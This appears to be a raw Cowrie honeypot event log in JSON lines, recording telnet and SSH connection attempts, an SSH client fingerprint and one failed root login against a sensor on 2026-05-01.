{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39576,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6e321df9b2c","protocol":"telnet","message":"New connection: 51.15.157.40:39576 (159.203.135.109:23) [session: d6e321df9b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:53.550469Z"}
{"eventid":"cowrie.session.closed","duration":31.11973810195923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:53.661320Z","src_ip":"51.15.157.40","session":"bab9cb9291f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40028,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8b02a08ef95","protocol":"telnet","message":"New connection: 51.15.157.40:40028 (159.203.135.109:23) [session: a8b02a08ef95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:53.687818Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43146,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ec7c9a37b16","protocol":"telnet","message":"New connection: 51.15.157.40:43146 (159.203.135.109:23) [session: 4ec7c9a37b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:53.741853Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43812,"dst_ip":"159.203.135.109","dst_port":23,"session":"655bce271b6c","protocol":"telnet","message":"New connection: 51.15.157.40:43812 (159.203.135.109:23) [session: 655bce271b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:54.013892Z"}
{"eventid":"cowrie.session.closed","duration":30.416338443756104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:54.043996Z","src_ip":"51.15.157.40","session":"cf15b83a8b53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":39028,"dst_ip":"159.203.135.109","dst_port":23,"session":"17c246a594c8","protocol":"telnet","message":"New connection: 103.171.45.122:39028 (159.203.135.109:23) [session: 17c246a594c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:54.229647Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41900,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc9e4274e1d1","protocol":"telnet","message":"New connection: 51.15.157.40:41900 (159.203.135.109:23) [session: bc9e4274e1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:54.339675Z"}
{"eventid":"cowrie.session.closed","duration":30.628350019454956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:54.348256Z","src_ip":"51.15.157.40","session":"a45314e4c6a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":60884,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7f921a5b08b","protocol":"telnet","message":"New connection: 89.39.83.70:60884 (159.203.135.109:23) [session: a7f921a5b08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:54.394223Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45324,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bc685f63c6a","protocol":"telnet","message":"New connection: 51.15.157.40:45324 (159.203.135.109:23) [session: 8bc685f63c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:54.527530Z"}
{"eventid":"cowrie.session.closed","duration":31.399322509765625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:54.647619Z","src_ip":"51.15.157.40","session":"2e74d13e74f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45742,"dst_ip":"159.203.135.109","dst_port":23,"session":"77b19b082706","protocol":"telnet","message":"New connection: 51.15.157.40:45742 (159.203.135.109:23) [session: 77b19b082706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:54.680098Z"}
{"eventid":"cowrie.session.closed","duration":31.385802268981934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:54.786227Z","src_ip":"51.15.157.40","session":"2f7203cb6f69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":37932,"dst_ip":"159.203.135.109","dst_port":22,"session":"0175a38b517b","protocol":"ssh","message":"New connection: 113.163.156.190:37932 (159.203.135.109:22) [session: 0175a38b517b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:54.994200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.001337Z","src_ip":"113.163.156.190","session":"0175a38b517b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.518368005752563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.024505Z","src_ip":"51.15.157.40","session":"35a6a7cd963a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.989988803863525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.066536Z","src_ip":"51.15.157.40","session":"cfee1e00763b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.187694787979126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.136730Z","src_ip":"51.15.157.40","session":"4998bb61ebc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.443612575531006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.214373Z","src_ip":"103.171.45.122","session":"61852712887b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78710126876831,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.240125Z","src_ip":"51.15.157.40","session":"765176693a33","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.253463Z","src_ip":"113.163.156.190","session":"0175a38b517b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.073649644851685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.305006Z","src_ip":"51.15.157.40","session":"c5182e68e3ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98658299446106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.348892Z","src_ip":"51.15.157.40","session":"3163013deb50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.426644325256348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.384452Z","src_ip":"51.15.157.40","session":"d684d8fae93a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110184907913208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.557365Z","src_ip":"51.15.157.40","session":"da543cbc69ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49182,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0ab196b0e8b","protocol":"telnet","message":"New connection: 51.15.157.40:49182 (159.203.135.109:23) [session: b0ab196b0e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.782030Z"}
{"eventid":"cowrie.session.closed","duration":31.66054654121399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.857959Z","src_ip":"51.15.157.40","session":"04c11648331b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.613662004470825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:55.993040Z","src_ip":"51.15.157.40","session":"89cd11a61325","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40938,"dst_ip":"159.203.135.109","dst_port":23,"session":"f323f860d77a","protocol":"telnet","message":"New connection: 51.15.157.40:40938 (159.203.135.109:23) [session: f323f860d77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:56.002177Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":34720,"dst_ip":"159.203.135.109","dst_port":23,"session":"3915ce099b42","protocol":"telnet","message":"New connection: 89.39.83.70:34720 (159.203.135.109:23) [session: 3915ce099b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:56.036243Z"}
{"eventid":"cowrie.session.closed","duration":31.073535680770874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:56.129162Z","src_ip":"51.15.157.40","session":"77bca5a838b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931389331817627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:56.144966Z","src_ip":"51.15.157.40","session":"0019afe45605","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2970712184906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:56.153579Z","src_ip":"157.15.20.138","session":"11682a8fd3d7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd12345678","message":"login attempt [root/Abcd12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:56.292937Z","src_ip":"113.163.156.190","session":"0175a38b517b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50704,"dst_ip":"159.203.135.109","dst_port":23,"session":"81c534bfb57e","protocol":"telnet","message":"New connection: 51.15.157.40:50704 (159.203.135.109:23) [session: 81c534bfb57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:56.320992Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51992,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c6c4a40f5d","protocol":"telnet","message":"New connection: 51.15.157.40:51992 (159.203.135.109:23) [session: 50c6c4a40f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:56.712032Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49360,"dst_ip":"159.203.135.109","dst_port":23,"session":"437ccfd727da","protocol":"telnet","message":"New connection: 51.15.157.40:49360 (159.203.135.109:23) [session: 437ccfd727da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:56.833483Z"}
{"eventid":"cowrie.session.closed","duration":31.281676530838013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.017012Z","src_ip":"51.15.157.40","session":"dc413c752fdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.063111305236816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.066218Z","src_ip":"51.15.157.40","session":"15d3b25cabf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21845841407776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.087469Z","src_ip":"51.15.157.40","session":"0391a47db836","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47070837020874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.133733Z","src_ip":"51.15.157.40","session":"29ef617ece53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944827795028687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.157832Z","src_ip":"51.15.157.40","session":"68cfe84913e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91064715385437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.189030Z","src_ip":"51.15.157.40","session":"47774f7f2cf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.779696702957153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.423426Z","src_ip":"51.15.157.40","session":"a0710fd1edb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16563606262207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.449041Z","src_ip":"51.15.157.40","session":"795f7274fc9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.546528Z","src_ip":"113.163.156.190","session":"0175a38b517b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.27513289451599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.565415Z","src_ip":"51.15.157.40","session":"667547a770d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.576053380966187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.636461Z","src_ip":"51.15.157.40","session":"6e569dbbb0c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30330467224121,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.706571Z","src_ip":"51.15.157.40","session":"4dbf9f5604fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":43912,"dst_ip":"159.203.135.109","dst_port":23,"session":"723ecb463fd4","protocol":"telnet","message":"New connection: 34.69.118.1:43912 (159.203.135.109:23) [session: 723ecb463fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.737238Z"}
{"eventid":"cowrie.session.closed","duration":30.878678798675537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.811797Z","src_ip":"89.39.83.70","session":"503a0d813351","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10507583618164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.845427Z","src_ip":"51.15.157.40","session":"84f296d31108","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24149227142334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.850363Z","src_ip":"51.15.157.40","session":"00a890e8867c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":43920,"dst_ip":"159.203.135.109","dst_port":23,"session":"8699563552b2","protocol":"telnet","message":"New connection: 34.69.118.1:43920 (159.203.135.109:23) [session: 8699563552b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:57.918218Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":39044,"dst_ip":"159.203.135.109","dst_port":23,"session":"e907fccd2d1f","protocol":"telnet","message":"New connection: 103.171.45.122:39044 (159.203.135.109:23) [session: e907fccd2d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:58.046092Z"}
{"eventid":"cowrie.session.closed","duration":30.32414674758911,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:58.072268Z","src_ip":"51.15.157.40","session":"e3d8318f7711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"30.8","message":"Connection lost after 30.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:58.124774Z","src_ip":"122.168.114.167","session":"3b808e30143a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.50717854499817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:58.197935Z","src_ip":"51.15.157.40","session":"ec8946badb62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33927083015442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:58.226519Z","src_ip":"51.15.157.40","session":"309e5e9ba7e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52486,"dst_ip":"159.203.135.109","dst_port":23,"session":"526642eb4d4b","protocol":"telnet","message":"New connection: 157.15.20.138:52486 (159.203.135.109:23) [session: 526642eb4d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:58.268765Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47965,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e6589cc705d","protocol":"telnet","message":"New connection: 51.15.157.40:47965 (159.203.135.109:23) [session: 6e6589cc705d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:58.332956Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":42356,"dst_ip":"159.203.135.109","dst_port":23,"session":"11fc4732ce61","protocol":"telnet","message":"New connection: 157.15.20.138:42356 (159.203.135.109:23) [session: 11fc4732ce61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:58.489827Z"}
{"eventid":"cowrie.session.closed","duration":31.423423051834106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:58.544474Z","src_ip":"51.15.157.40","session":"c0472609bbb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.194303274154663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:58.703949Z","src_ip":"51.15.157.40","session":"afd34a395946","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52221179008484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:58.855828Z","src_ip":"51.15.157.40","session":"8ce606fe7105","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.262654304504395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:59.061621Z","src_ip":"51.15.157.40","session":"45ebf1a2f2b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920740365982056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:59.067856Z","src_ip":"51.15.157.40","session":"a44659a41e80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.589690923690796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:59.088111Z","src_ip":"51.15.157.40","session":"2218d84e302d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":59354,"dst_ip":"159.203.135.109","dst_port":23,"session":"003da6db0072","protocol":"telnet","message":"New connection: 51.15.157.40:59354 (159.203.135.109:23) [session: 003da6db0072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:59.126019Z"}
{"eventid":"cowrie.session.closed","duration":30.905190467834473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:59.193692Z","src_ip":"51.15.157.40","session":"eeb62946973c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.148331880569458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:59.226155Z","src_ip":"51.15.157.40","session":"c304e37964e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50556,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb6ca837891e","protocol":"telnet","message":"New connection: 51.15.157.40:50556 (159.203.135.109:23) [session: bb6ca837891e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:59.282457Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60314,"dst_ip":"159.203.135.109","dst_port":23,"session":"150be10082af","protocol":"telnet","message":"New connection: 51.15.157.40:60314 (159.203.135.109:23) [session: 150be10082af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:59.422011Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58516,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aa86efbbe3c","protocol":"telnet","message":"New connection: 51.15.157.40:58516 (159.203.135.109:23) [session: 2aa86efbbe3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:59.875669Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":42382,"dst_ip":"159.203.135.109","dst_port":23,"session":"249adae25417","protocol":"telnet","message":"New connection: 157.15.20.138:42382 (159.203.135.109:23) [session: 249adae25417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:59.925948Z"}
{"eventid":"cowrie.session.closed","duration":30.448628187179565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:00.145392Z","src_ip":"157.15.20.138","session":"b65bd95b1610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.403948068618774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:00.150273Z","src_ip":"157.15.20.138","session":"0ecea003bafb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":59572,"dst_ip":"159.203.135.109","dst_port":23,"session":"44232fe1345e","protocol":"telnet","message":"New connection: 51.15.157.40:59572 (159.203.135.109:23) [session: 44232fe1345e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:00.237230Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":42410,"dst_ip":"159.203.135.109","dst_port":23,"session":"c38253622177","protocol":"telnet","message":"New connection: 157.15.20.138:42410 (159.203.135.109:23) [session: c38253622177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:00.335305Z"}
